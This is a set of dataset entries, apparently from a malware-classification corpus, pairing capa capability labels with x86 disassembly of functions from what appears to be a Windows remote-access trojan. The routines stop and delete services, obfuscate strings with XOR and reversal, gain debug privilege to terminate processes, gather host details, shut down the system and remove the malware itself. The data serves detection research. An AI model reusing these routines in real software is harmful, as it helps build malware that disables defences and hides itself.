joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000c430
Capabilities:
Query service status
Stop service

Disassembly:
sub esp, 0x1c
push ebx
push esi
call fcn.1000be30
push 2
push 0
push 0
xor bl, bl
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ecx, dword [esp + 0x28]
push 0xf01ff
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea edx, [esp + 8]
mov esi, eax
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0xc], 1
je 0x1000c482
lea eax, [esp + 8]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
mov al, 1
jne 0x1000c484
mov al, bl
pop esi
pop ebx
add esp, 0x1c
ret 4

Function at 0x1000c490
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
sub esp, 0x1c
push ebx
push esi
push edi
call fcn.1000be30
push 2
push 0
push 0
xor bl, bl
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov eax, dword [esp + 0x2c]
push 0xf01ff
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea ecx, [esp + 0xc]
mov esi, eax
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0x10], 1
je 0x1000c4df
lea edx, [esp + 0xc]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x1000c4ec
mov bl, 1
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
mov al, bl
pop esi
pop ebx
add esp, 0x1c
ret 4
Function at 0x1000cb80
Capabilities:
Terminate thread

Disassembly:
push 0xffffffffffffffff
push 0x10016f78
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esi], 0x100185b8
mov eax, dword [esi + 0x78]
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push eax
mov dword [esp + 0x1c], 0
call edi
mov ecx, dword [esi + 0x70]
push 0
push ecx
call dword [esi + 0x54]
mov edx, dword [esi + 0x74]
push 0
push edx
call edi
mov eax, dword [esi + 0x7c]
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0x7c]
push 0
push ecx
call edi
mov eax, dword [esi + 0x60]
test eax, eax
je 0x1000cbed
push eax
call dword [esi + 0x50]
mov eax, dword [esi + 0x64]
test eax, eax
je 0x1000cbf8
push eax
call dword [esi + 0x50]
mov eax, dword [esi + 0x68]
test eax, eax
je 0x1000cc03
push eax
call dword [esi + 0x50]
mov eax, dword [esi + 0x6c]
test eax, eax
je 0x1000cc0e
push eax
call dword [esi + 0x50]
mov edx, dword [esi + 0x60]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x64]
push eax
call edi
mov ecx, dword [esi + 0x68]
push ecx
call edi
mov edx, dword [esi + 0x6c]
push edx
call edi
mov eax, dword [esi + 0x70]
push eax
call edi
mov ecx, dword [esi + 0x74]
push ecx
call edi
mov edx, dword [esi + 0x7c]
push edx
call edi
mov eax, dword [esi + 0x78]
push eax
call edi
mov ecx, esi
mov dword [esp + 0x14], 0xffffffff
call fcn.10008e00
mov ecx, dword [esp + 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x1000cfe0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.1000ce80
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x1000d022
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x7a
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x19
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x1000d002
pop ebx
mov edx, dword [esp]
push eax
push edx
mov ecx, 0x1001e1b8
call fcn.10001670
mov eax, dword [esp]
pop ecx
ret
Function at 0x1000d530
Capabilities:
Get disk information
Get disk size
Get file system object information

Disassembly:
sub esp, 0x378
lea eax, [esp + 0x118]
push esi
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov cl, byte [esp + 0x11c]
xor edx, edx
xor eax, eax
lea esi, [esp + 0x11c]
test cl, cl
mov dword [esp + 8], edx
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], edx
mov dword [esp + 4], eax
je 0x1000d627
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
jmp 0x1000d58b
xor edx, edx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x24]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x28]
push ecx
push edx
push edx
push edx
push edx
push edx
push esi
call ebx
push 0x410
lea edx, [esp + 0x22c]
push 0x160
push edx
push 0x80
push esi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
lea eax, [esp + 0x338]
push eax
call ebp
lea ecx, [esp + 0x24]
push ecx
call ebp
mov al, byte [esi]
cmp al, 0x41
je 0x1000d610
cmp al, 0x42
je 0x1000d610
lea edx, [esp + 0x14]
push 0
lea eax, [esp + 0x20]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x1000d610
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov ecx, 0x14
call fcn.10016630
add dword [esp + 0x10], eax
push esi
call ebp
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x1000d589
mov eax, dword [esp + 0x10]
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x378
ret

Function at 0x1000d630
Capabilities:
Get cpu information
Link many functions at runtime
Query or enumerate registry value

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.RegisterServiceCtrlHandlerA
push str.ADVAPI32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetServiceStatus
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.OpenEventLogA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegSetValueExA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegCloseKey
push str.ADVAPI32.dll
call esi
push eax
call edi
mov esi, eax
mov eax, 4
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
lea eax, [esp + 8]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [esp + 0xc]
lea edx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push edx
push eax
push 0
push str.MHz
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 8]
push edx
call esi
mov eax, dword [esp + 0x14]
pop edi
pop esi
add esp, 0x10
ret
Function at 0x1000d790
Capabilities:
Get hostname

Disassembly:
sub esp, 0x464
xor eax, eax
push ebx
mov ebx, dword [esp + 0x470]
push ebp
mov ebp, dword [esp + 0x478]
mov ecx, ebp
push esi
mov edx, ecx
push edi
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
lea edx, [esp + 0x10]
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x74]
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov edi, str.s__secivreS_tESlortnoCtnerruCMETSYS
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x478]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__strrev]
add esp, 4
push eax
lea eax, [esp + 0x7c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0
push ebp
push 0
push ebx
push 1
lea ecx, [esp + 0x94]
push str.Host
push ecx
push SysStringLen
call fcn.10008f00
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x2c
push ebx
call esi
test eax, eax
jne 0x1000d851
push ebp
push ebx
call dword [sym.imp.WS2_32.dll_gethostname]
push ebx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x464
ret

Function at 0x1000d860
Capabilities:
Print debug messages

Disassembly:
push 0xffffffffffffffff
push 0x10016fbb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54c
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x50]
lea edx, [esp + 0x50]
rep stosd dword es:[edi], eax
mov ecx, 0x100
lea edi, [esp + 0x154]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov edi, str.SOFTWAREMicrosoftActive_SetupInstalled_Components_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1001e314
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x50]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x154]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
push edx
push str._s_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea ecx, [esp + 8]
push SysStringLen
call fcn.10009af0
lea ecx, [esp + 0x154]
mov dword [esp + 0x55c], 0
push ecx
lea ecx, [esp + 0xc]
call fcn.10009bf0
mov edx, dword [esp + 0x564]
lea ecx, [esp + 8]
push edx
push str.stubpath
call fcn.10009d70
pop edi
pop esi
test eax, eax
jne 0x1000d95e
push str.Active
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [esp]
call fcn.10009c30
lea ecx, [esp]
mov dword [esp + 0x554], 0xffffffff
call fcn.10009b90
mov ecx, dword [esp + 0x54c]
mov dword fs:[0], ecx
add esp, 0x558
ret
Function at 0x1000e570
Capabilities:
Create thread

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0xc]
cmp ebx, 1
push esi
jne 0x1000e5e3
mov esi, str.PCRatStact
mov eax, 0x1001e308
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000e5ae
test cl, cl
je 0x1000e5aa
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000e5ae
add eax, 2
add esi, 2
test cl, cl
jne 0x1000e58a
xor eax, eax
jmp 0x1000e5b3
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000e5e3
push edi
push str.PCRatStact
push ebp
call fcn.10006190
add esp, 8
mov esi, eax
mov ecx, 0x95
xor eax, eax
mov edi, 0x1001e308
rep stosd dword es:[edi], eax
mov ecx, 0x95
mov edi, 0x1001e308
rep movsd dword es:[edi], dword [esi]
pop edi
mov eax, ebx
mov dword [0x1001e1a8], ebp
dec eax
jne 0x1000e626
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1001e198], eax
call fcn.100088e0
cmp byte [0x1001e313], 4
jne 0x1000e626
push 0
push 0
push 0x1001e308
push 0x1000e080
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebp
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
pop esi
pop ebp
mov eax, 1
pop ebx
ret 0xc

Function at 0x1000e640
Capabilities:
Delete registry key
Print debug messages

Disassembly:
sub esp, 0x108
or ecx, 0xffffffff
xor eax, eax
push esi
mov esi, dword [esp + 0x118]
push edi
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000e705
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebp
push 0x1001ca70
call ebx
push esi
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call ebp
lea ecx, [esp + 0x10]
call fcn.1000bdf0
push esi
lea ecx, [esp + 0x14]
call fcn.1000c430
push esi
lea ecx, [esp + 0x14]
call fcn.1000c280
push 0x1001ca60
call ebx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x14]
push esi
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push str.SYSTEMCurrentControlSetServices_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
xor esi, esi
lea edx, [esp + 0x14]
push edx
push SysStringLen
call edi
test eax, eax
je 0x1000e6f3
push 0xc8
call ebp
inc esi
cmp esi, 0x14
jl 0x1000e6d4
jmp 0x1000e6fa
push 0x1001ca54
call ebx
lea ecx, [esp + 0x10]
call fcn.1000be20
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x108
ret
Function at 0x1000e710
Capabilities:
Create thread

Disassembly:
mov al, byte [0x1001e313]
push esi
cmp al, 1
je 0x1000e726
cmp al, 2
je 0x1000e726
test al, al
jne 0x1000e816
mov esi, dword [esp + 0xc]
push 0x104
mov eax, dword [esi]
push eax
push 0x1001e1f8
call dword [sym.imp.MSVCRT.dll_strncpy]
mov ecx, dword [esi]
push 0x104
push ecx
push 0x1001e1f8
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x1000e880
push 0x1001e1f8
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
push 0
push 0
push 0x1001e1f8
push 0x1000df70
push 0
push 0
mov dword [0x1001e1ec], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [0x1001e1ec]
test eax, eax
je 0x1000e816
push edi
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push 0
push 2
call fcn.1000e820
push 0
push 0
push 4
call fcn.1000e820
push 0x1001e1f8
call fcn.100063f0
push 0
push 0
push 0
push 0x1001e1f8
push 0x1000e080
push 0
push 0
mov dword [0x1001e1e8], eax
call fcn.1000ff20
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x38
mov edi, eax
push 0x64
call esi
mov eax, dword [0x1001e2fc]
cmp eax, 3
je 0x1000e7f0
cmp eax, 1
jne 0x1000e7dd
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1001e1e8]
pop edi
cmp eax, 0x120
jne 0x1000e816
push 0x2710
call esi
jmp 0x1000e80d
pop esi
ret

Function at 0x1000e9b0
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
push 0
mov eax, dword [esi + 0x14]
mov dword [esi], 0x100185c0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [esi + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
call fcn.10008e00
pop esi
ret

Function at 0x1000eac0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x2c
xor eax, eax
lea ecx, [esp + 0xc]
mov dword [esp], eax
push ecx
mov dword [esp + 8], eax
mov byte [esp + 4], 3
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x30]
lea ecx, [esp]
push 0xc
push ecx
mov ecx, dword [esp + 0x3c]
mov dword [esp + 9], edx
mov dword [esp + 0xd], eax
call fcn.10008e30
add esp, 0x2c
ret

Function at 0x1000ecd0
Capabilities:
Find taskbar

Disassembly:
push 0xffffffffffffffff
push 0x10017058
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push esi
mov esi, ecx
push eax
mov dword [esp + 8], esi
call fcn.10008db0
mov al, byte [esp + 0x1c]
mov dword [esp + 0x10], 0
cmp al, 1
mov dword [esi], 0x100185e0
jne 0x1000ed28
mov ecx, esi
call fcn.1000ee60
mov eax, esi
pop esi
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret 8
cmp al, 2
jne 0x1000ed14
push edi
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
push 0
push str.Shell_TrayWnd
call edi
push 0
push str.Progman
mov dword [esi + 0x14], eax
call edi
lea ecx, [esp + 0x20]
push 1
push ecx
mov ecx, esi
mov dword [esi + 0x18], eax
mov dword [esi + 0x10], 0
mov byte [esp + 0x28], 0x81
call fcn.10008e30
mov ecx, dword [esp + 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x1000eed0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push edi
push 1
mov dword [esp + 0x14], ecx
push str.SeDebugPrivilege
call fcn.1000f1c0
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 8
push str.MoveFileExA
push str.KERNEL32.dll
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.DisconnectNamedPipe
push str.KERNEL32.dll
call ebx
push eax
call ebp
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0x14]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, str.ssecorPetanimreT
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.MSVCRT.dll__strrev]
add esp, 4
push eax
push str.KERNEL32.dll
call ebx
push eax
call ebp
mov ebp, dword [esp + 0x3c]
xor esi, esi
test ebp, ebp
mov ebx, eax
jbe 0x1000ef98
mov edx, dword [esp + 0x38]
mov eax, dword [esi + edx]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebp
jb 0x1000ef6e
push 0
push str.SeDebugPrivilege
call fcn.1000f1c0
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0x10]
call fcn.1000ee60
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 8
Function at 0x1000efd0
Capabilities:
Acquire debug privileges
Enumerate process modules
Enumerate processes

Disassembly:
sub esp, 0x238
push esi
push edi
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], esi
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x10], esi
stosb byte es:[edi], al
call fcn.1000f1c0
add esp, 8
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x1000f034
pop edi
xor eax, eax
pop esi
add esp, 0x238
ret
push ebx
push ebp
push 0x400
push 0x40
mov dword [esp + 0x24], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
lea eax, [esp + 0x1c]
push eax
push edi
mov byte [ebp], 0x80
mov ebx, 1
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000f183
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x1000f170
cmp eax, 4
je 0x1000f170
cmp eax, 8
je 0x1000f170
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x144]
push 0x104
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x40]
push eax
call edi
lea ecx, [esp + 0x144]
mov esi, eax
push ecx
call edi
lea esi, [esi + eax + 6]
push ebp
add esi, ebx
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, esi
jae 0x1000f0fb
push 0x42
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x40]
mov dword [ebx + ebp], edx
push eax
add ebx, 4
call edi
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x40]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
lea ecx, [esp + 0x144]
lea ebx, [ebx + eax + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x144]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [esp + 0x14]
lea ebx, [ebx + eax + 1]
lea ecx, [esp + 0x1c]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000f069
push 0x42
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.1000f1c0
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x238
ret

Function at 0x1000f250
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.1000f1c0
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.1000f1c0
add esp, 8
ret
Function at 0x1000f2f0
Capabilities:
Get graphical window text

Disassembly:
push ebx
mov ebx, ecx
mov eax, dword [ebx + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, eax
mov eax, 0xfe03f81
dec ecx
mul ecx
shr edx, 6
je 0x1000f33f
push ebp
mov ebp, dword [sym.imp.USER32.dll_GetWindowTextA]
push esi
push edi
xor esi, esi
mov edi, edx
mov edx, dword [ebx + 0x10]
push 0x400
lea eax, [esi + edx + 1]
mov edx, dword [esi + edx + 0x405]
lea ecx, [eax + 4]
push ecx
push edx
call ebp
add esi, 0x408
dec edi
jne 0x1000f319
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x1000f4c0
Capabilities:
Create process on windows
Delete file
Move file
Print debug messages

Disassembly:
sub esp, 0x464
xor eax, eax
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov ecx, 0x41
lea edi, [esp + 0x26c]
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x168]
rep stosd dword es:[edi], eax
push 0x1001c63c
call ebx
mov eax, dword [esp + 0x478]
push eax
call ebx
push 0x1001c634
call ebx
lea edi, [esi + 4]
push edi
call ebx
mov ecx, dword [0x1001e1f0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov edx, dword [0x1001e1f4]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1001cb50
call ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x168]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea ecx, [esp + 0x68]
push str._d.bak.dll
push ecx
call ebp
add esp, 0xc
lea edx, [esp + 0x64]
lea eax, [esp + 0x168]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea ecx, [esp + 0x68]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea edi, [esp + 0x64]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x26c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [esp + 0x64]
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x41
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x168]
push ecx
push str._s_lang.ini
push edx
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0xc
xor ebp, ebp
xor esi, esi
lea eax, [esp + 0x64]
push eax
call edi
test eax, eax
jne 0x1000f618
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0xa
jle 0x1000f5ff
push 0x1001cb34
call ebx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x370]
lea edx, [esp + 0x26c]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x478]
lea eax, [esp + 0x370]
push ecx
push edx
mov esi, 1
push str.rundll32.exe__s_UninstallServer__s
push eax
mov dword [esp + 0x20], 0x44
mov dword [esp + 0x28], ebp
mov dword [esp + 0x24], ebp
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x4c], esi
mov word [esp + 0x52], bp
mov dword [esp + 0x54], ebp
mov word [esp + 0x50], si
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea ecx, [esp + 0x54]
lea edx, [esp + 0x10]
lea eax, [esp + 0x370]
push ecx
push edx
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [esp + 0x47c]
push ecx
push ebp
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x464
ret 8